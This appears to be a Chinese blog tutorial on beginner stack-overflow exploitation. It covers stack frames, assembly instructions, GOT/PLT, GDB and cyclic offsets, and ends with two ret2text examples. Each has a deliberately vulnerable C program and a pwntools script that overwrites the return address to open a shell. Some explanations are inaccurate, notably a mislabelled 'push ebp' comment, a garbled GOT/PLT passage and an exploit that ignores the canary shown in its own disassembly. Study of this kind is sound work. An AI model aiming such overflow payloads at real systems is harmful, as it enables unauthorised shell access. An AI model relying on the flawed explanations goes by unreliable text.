0x 01 栈帧的概念
从逻辑上讲,栈帧就是一个函数执行的环境:函数调用框架、函数参数、函数的局部变量、函数执行完后返回到哪里等等。栈是从高地址向低地址延伸的。每个函数的每次调用,都有它自己独立的一个栈帧,这个栈帧中维持着所需要的各种信息。
寄存器ebp指向当前的栈帧的底部(高地址),寄存器esp指向当前的栈帧的顶部(低地址)。
注意:ebp指向当前位于系统栈最上边一个栈帧的底部,而不是系统栈的底部。严格说来,“栈帧底部”和“栈底”是不同的概念;ESP所指的栈帧顶部和系统栈的顶部是同一个位置。**
参考链接:函数的调用过程(栈帧)
0x 02 相关汇编指令 关于dword ptr 指令
1 2 3 4 dword 双字 就是四个字节 ptr pointer缩写 即指针 []里的数据是一个地址值,这个地址指向一个双字型数据 比如mov eax, dword ptr [12345678] 把内存地址12345678中的双字型(32位)数据赋给eax
关于CALL,RET和LEAVE指令
1 2 3 4 5 6 7 8 9 CALL指令的步骤:首先是将返回地址(也就是call指令要执行时EIP的值)压入栈顶,然后是将程序跳转到当前调用的方法的起始地址。执行push和jump指令。 RET指令则是将栈顶的返回地址弹出到EIP,然后按照EIP此时指示的指令地址继续执行程序。 LEAVE指令是将栈指针指向帧指针,然后POP备份的原帧指针到%EBP。(恢复到调用的时候ebp和esp值) Leave等价于: movl %ebp %esp popl %ebp
push ebp //压入返回地址
lea指令 复制内存地址
0x 03 相关寄存器 eip寄存器:用来存储CPU要读取指令的地址,CPU通过EIP寄存器 读取即将要执行的指令。
0x 04 GOT表和PLT表 为了更好的用户体验和内存C* PU的利用率,程序编译时会采用两种表进行辅助,一个为 P LT表,一个为 G OT表, P LT表可以称为内部函数表, G OT表为全局函数表(也可以说是动态函数表这是个人自称),这两个表是相对应的,什么叫做相对应呢, P LT表中的数据就是 G O*T 表中的一个地址,可以理解为一定是一一对应的,如下图:
0x 05 64位汇编参数传递
1 2 3 4 5 6 7 8 9 10 11 当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。 参数个数大于 7 个的时候 H(a, b, c, d, e, f, g, h); a->%rdi, b->%rsi, c->%rdx, d->%rcx, e->%r8, f->%r9 h->8(%esp) g->(%esp) call H write函数需要三个参数,需要rdi,rsi,rdx三个寄存器 http://abcdxyzk.github.io/blog/2012/11/23/assembly-args/
0x 06 内存对齐
1.平台原因(移植原因):不是所有的硬件平台都能访问任意地址上的任意数据的;某些硬件平台只能在某些地址处取某些特定类型的数据,否则抛出硬件异常。 2.性能原因:数据结构(尤其是栈)应该尽可能地在自然边界上对齐。原因在于,为了访问未对齐的内存,处理器需要作两次内存访问;而对齐的内存访问仅需要一次访问。 参考资料: 【底层原理】C/C++内存对齐详解
0x 07 GDB调试命令 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 (gdb)help:查看命令帮助,具体命令查询在gdb中输入help + 命令,简写h (gdb)run:重新开始运行文件(run-text:加载文本文件,run-bin:加载二进制文件),简写r (gdb)start:单步执行,运行程序,停在第一执行语句 (gdb)list:查看原代码(list-n,从第n行开始查看代码。list+ 函数名:查看具体函数),简写l (gdb)set:设置变量的值 (gdb)next:单步调试(逐过程,函数直接执行),简写n (gdb)step:单步调试(逐语句:跳入自定义函数内部执行),简写s (gdb)backtrace:查看函数的调用的栈帧和层级关系,简写bt (gdb)frame:切换函数的栈帧,简写f (gdb)info:查看函数内部局部变量的数值,简写i (gdb)finish:结束当前函数,返回到函数调用点 (gdb)continue:继续运行,简写c (gdb)print:打印值及地址,简写p (gdb)quit:退出gdb,简写q (gdb)break+num:在第num行设置断点,简写b (gdb)info breakpoints:查看当前设置的所有断点 (gdb)delete breakpoints num:删除第num个断点,简写d (gdb)display:追踪查看具体变量值 (gdb)undisplay:取消追踪观察变量 (gdb)watch:被设置观察点的变量发生修改时,打印显示 (gdb)i watch:显示观察点 (gdb)enable breakpoints:启用断点 (gdb)disable breakpoints:禁用断点 (gdb)x:查看指定内存地址内容 x/20xw 显示20个单元,16进制,4字节每单元 https://www.cnblogs.com/redman274/p/12164753.html 如果地址所指的是字符串,那么格式可以是s,如果地址是指令地址,那么格式可以是i (gdb)run argv[1] argv[2]:调试时命令行传参 (gdb)set follow-fork-mode child#Makefile项目管理:选择跟踪父子进程(fork()) gdb 中step next 与finish的区别 step 就是单步执行,遇到子函数就进入并且继续单步执行;在其他调试其中相当于step-into命令,作用是移动到下一个可执行的代码行。如果当前行是一个函数调用,则调试器进入函数并停止在函数体的第一行。step可以帮助初步揭开代码位置的谜团,例如:函数调用和函数本身可能在不同的文件中。 next 是在单步执行时,在函数内遇到子函数时不会进入子函数内单步执行,而是将子函数整个执行完再停止,也就是把子函数整个作为一步。在其他调试器中相当于step-over,作用是在同一个调用栈层中移动到下一个可执行的代码行。调试器不会进入函数体。如果当前行是函数的最后一行,则,next将进入下一个栈层,并在调用函数的下一行停止。 finish就是但单步执行到子函数内时,用step out就可以执行完子函数余下部分,并返回到上一层函数。在其他调试器中相当于step-out,作用是在栈中前进到到下一层,并在调用函数的下一行停止。
0x 08 cyclic工具 使用pwntools里面的cyclic工具生成字符串和计算偏移
1 2 3 4 5 root@hw-virtual-machine:/home/hw/桌面/PWN# cyclic 200 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab root@hw-virtual-machine:/home/hw/桌面/PWN# cyclic -l 0x62616164 112
0x 09 简单实例 源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #include<stdio.h> void exploit() { system("/bin/sh"); } void func() { char str[0x20]; read(0, str, 0x50); } int main() { func(); return 0; }
func函数汇编
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 Dump of assembler code for function func: 0x080484b4 <+0>: push ebp 0x080484b5 <+1>: mov ebp,esp 0x080484b7 <+3>: sub esp,0x38 0x080484ba <+6>: mov eax,gs:0x14 0x080484c0 <+12>: mov DWORD PTR [ebp-0xc],eax 0x080484c3 <+15>: xor eax,eax 0x080484c5 <+17>: sub esp,0x4 0x080484c8 <+20>: push 0x50 //压入read函数的第三个参数 0x080484ca <+22>: lea eax,[ebp-0x2c] 0x080484cd <+25>: push eax //压入read函数的第二个参数 0x080484ce <+26>: push 0x0 //压入read函数的第一个参数 0x080484d0 <+28>: call 0x8048350 <read@plt> //调用plt表的 0x080484d5 <+33>: add esp,0x10 0x080484d8 <+36>: nop 0x080484d9 <+37>: mov eax,DWORD PTR [ebp-0xc] 0x080484dc <+40>: xor eax,DWORD PTR gs:0x14 0x080484e3 <+47>: je 0x80484ea <func+54> 0x080484e5 <+49>: call 0x8048360 <__stack_chk_fail@plt> 0x080484ea <+54>: leave 0x080484eb <+55>: ret End of assembler dump.
exp:
1 2 3 4 5 6 7 8 from pwn import * context.log_level = 'debug' p = process("./pwn1") offset = 0x2c + 0x4 payload = 'a'*offset + p32(0x0804849b) p.sendline(payload) p.interactive()
实例二:
汇编代码:
main函数中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 0x000000000040078c <+145>: lea rax,[rbp-0x4] 0x0000000000400790 <+149>: mov rsi,rax 0x0000000000400793 <+152>: mov edi,0x400961 0x0000000000400798 <+157>: mov eax,0x0 0x000000000040079d <+162>: call 0x4005d0 <__isoc99_scanf@plt> 0x00000000004007a2 <+167>: mov edi,0x400964 0x00000000004007a7 <+172>: call 0x400580 <puts@plt> 0x00000000004007ac <+177>: mov edx,DWORD PTR [rbp-0x4] //传入第三个参数值给edx 0x00000000004007af <+180>: lea rax,[rbp-0x10] 0x00000000004007b3 <+184>: mov rsi,rax //传入第二个参数值给rsi 0x00000000004007b6 <+187>: mov edi,0x0 //传入第一个参数值给edi 0x00000000004007bb <+192>: mov eax,0x0 0x00000000004007c0 <+197>: call 0x4005a0 <read@plt> 0x00000000004007c5 <+202>: mov eax,0x0 0x00000000004007ca <+207>: leave 0x00000000004007cb <+208>: ret
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import * import sys context.log_level='debug' if args['REMOTE']: sh = remote(sys.argv[1], sys.argv[2]) else: sh = process("./ret2text") sh.sendlineafter("name:\n",str(50)) payload="a"*0x18 + p64(0x0000000004006E6) sh.recvuntil("name?\n") sh.sendline(payload) sh.interactive() print(sh.recv())